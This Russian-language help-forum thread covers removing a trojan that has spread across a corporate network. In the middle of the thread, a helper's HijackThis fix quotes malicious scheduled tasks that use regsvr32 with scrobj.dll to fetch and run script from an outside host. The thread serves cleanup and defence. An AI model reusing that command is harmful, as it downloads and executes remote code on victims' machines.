троян powershall разлетелся по сети

[Максим Павельев]

Добрый день.

Троян powershell.exe разлетелся по всей корпоративной сети( нагружает ЦП до 100% и делает работу ПК невозможной.

удалил его dr.web Cureit, но он снова появляется.

помогите пожалуйста

есть ли какое лекарство что бы убрать его со всех ПК?
 

[Sandor]

Здравствуйте!

 

Вам известны правила этой ветки форума. Если нужно только обсудить способ, сообщите и перенесем в другую.

[Максим Павельев]

Здравствуйте!

 

Вам известны правила этой ветки форума. Если нужно только обсудить способ, сообщите и перенесем в другую.

извините пожалуйста.

почему то не прикрепился лог.

да, мне нужен способ и уничтожения вируса.

спасибо

CollectionLog-2019.01.28-14.41.zip

[Sandor]

"Пофиксите" в HijackThis:

O21 - HKLM\..\ShellIconOverlayIdentifiers\00asw: (no name) - {472083B0-C522-11CF-8763-00608CC02F24} - (no file)
O22 - Task: System Log Security Check - C:\Windows\system32\regsvr32.exe /u /s /i:http://update.7h4uk.com:443/antivirus.php scrobj.dll
O22 - Task: Upd7Live - C:\Windows\Upd7Live.exe /exec=DevCon (file missing)
O22 - Task: WindowsLogTasks - C:\Windows\system32\regsvr32.exe /u /s /i:http://update.7h4uk.com:443/antivirus.php scrobj.dll
O22 - Task: \Avast Software\Overseer - C:\Program Files\Common Files\Avast Software\Overseer\overseer.exe /from_scheduler:1

Перезагрузите компьютер вручную и соберите свежий CollectionLog.

[Максим Павельев]

сделал

CollectionLog-2019.01.28-16.14.zip

[Sandor]

Здесь больше ничего плохого не видно.

 

Проверьте уязвимые места:

• Загрузите SecurityCheck by glax24 & Severnyj и сохраните утилиту на Рабочем столе
• Запустите двойным щелчком мыши (если Вы используете Windows XP) или из меню по щелчку правой кнопки мыши Запустить от имени администратора (если Вы используете Windows Vista/7/8/8.1/10)
• Если увидите предупреждение от вашего фаервола или SmartScreen относительно программы SecurityCheck, не блокируйте ее работу
• Дождитесь окончания сканирования, откроется лог в блокноте с именем SecurityCheck.txt
• Если Вы закрыли Блокнот, то найти этот файл можно в корне системного диска в папке с именем SecurityCheck, например C:\SecurityCheck\SecurityCheck.txt
• Прикрепите этот файл к своему следующему сообщению.

Если нужно проверить другой компьютер, создайте для него отдельную тему.

[Максим Павельев]

@Sandor, скажите, у меня все это разошлось по всем ПК в сети, это примерно 50 штук. Нужно каждый ручками теперь зачищать?

[Sandor]

Это не универсальное решение. Фикс написан только для указанного компьютера.

Давайте посмотрим еще пару компьютеров с похожими симптомами, далее будет понятно как действовать.

Смотрите также настройки вашего антивируса - почему это произошло и т.д.

[Максим Павельев]

@Sandor, могу ли я показать эти компьютеры в данной теме?

[Sandor]

создайте для него отдельную тему

Разве это сложно?

[Максим Павельев]

@Sandor, нет, просто не хотел, что бы вы путались)
хорошо, я создам темы, спасибо)

[regist]

 

 

что бы вы путались)

путаница это когда в одной теме логи с разных систем.

 

Пополните, пожалуйста, базу безопасных файлов антивирусной утилиты AVZ:

1. Запустите AVZ.
2. Запустите используемый в Вашей системе интернет-браузер (например Internet Explorer, FireFox, Opera и т.д. - если применяется несколько браузеров, то необходимо запустить их все для того чтобы AVZ смог проанализировать используемые браузерами модули расширения и плагины)
3. В AVZ выберите пункт меню Файл - Стандартные скрипты. В открывшемся окне необходимо отметить скрипт №8 ("VirusInfo.Info: Скрипт сбора файлов для экспресс-анализа ПК") и нажать кнопку "Выполнить отмеченные скрипты". Выполнение скрипта займет некоторое время, порядка 1 - 5 мин. В результате в папке AVZ будет создан подкаталог LOG, в нем архив с именем virusinfo_files_<имя_ПК>.zip
4. Закачайте полученный архив, как описано на этой странице.
5. Если размер архива превышает 250 Мб закачайте его на любой файлообменник, не требующий ввода капчи (например: Яндекс.Диск, Zippyshare, My-Files.RU, karelia.ru, Ge.tt или WebFile) и укажите ссылку на скачивание в своём следующем сообщении.

 

PS. эта процедура универсальная, так что желательно это проделать и на остальных.

[Максим Павельев]

мой вирус вернулся((

CollectionLog-2019.01.29-15.04.zip

[Sandor]

Проверьте уязвимые места: Загрузите SecurityCheck by glax24 & Severnyj и сохраните утилиту на Рабочем столе

Это сделайте.

[Максим Павельев]

 

Проверьте уязвимые места: Загрузите SecurityCheck by glax24 & Severnyj и сохраните утилиту на Рабочем столе

Это сделайте.

 

выполнил

SecurityCheck.txt